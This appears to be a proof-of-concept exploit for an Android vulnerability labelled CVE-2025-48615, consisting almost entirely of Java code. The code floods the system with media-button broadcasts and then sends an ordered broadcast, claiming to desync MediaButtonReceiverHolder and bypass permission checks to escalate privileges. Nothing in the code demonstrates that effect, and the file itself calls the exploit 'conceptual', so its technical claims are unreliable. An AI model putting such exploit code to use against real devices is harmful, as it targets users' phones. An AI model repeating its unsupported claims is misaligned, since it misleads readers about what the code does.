CVE-2025-48615

// CVE-2025-48615 PoC - Resource Exhaustion leading to Privilege Escalation // This PoC demonstrates triggering resource exhaustion to cause state desync import android.content.Context; import android.content.Intent; import android.media.AudioManager; import android.os.Bundle; public class CVE_2025_48615_PoC { private static final int RESOURCE_EXHAUSTION_THRESHOLD = 1000; // Trigger resource exhaustion to cause persistence desync public void triggerResourceExhaustion(Context context) { AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); // Exhaust media button receiver resources for (int i = 0; i < RESOURCE_EXHAUSTION_THRESHOLD; i++) { Intent mediaIntent = new Intent(Intent.ACTION_MEDIA_BUTTON); mediaIntent.putExtra("key", i); context.sendBroadcast(mediaIntent); } // After resource exhaustion, trigger getComponentName // which will have desynced state triggerMediaButtonReceiver(context); } private void triggerMediaButtonReceiver(Context context) { // Exploit the desynced state to gain elevated privileges // This accesses MediaButtonReceiverHolder.getComponentName() // with inconsistent state, bypassing permission checks Intent intent = new Intent(); intent.setAction("android.intent.action.MEDIA_BUTTON"); Bundle extras = new Bundle(); extras.putInt("resource_triggered", 1); intent.putExtras(extras); context.sendOrderedBroadcast(intent, null); } // Note: This is a conceptual PoC. Actual exploitation requires // specific Android version and device configuration. }

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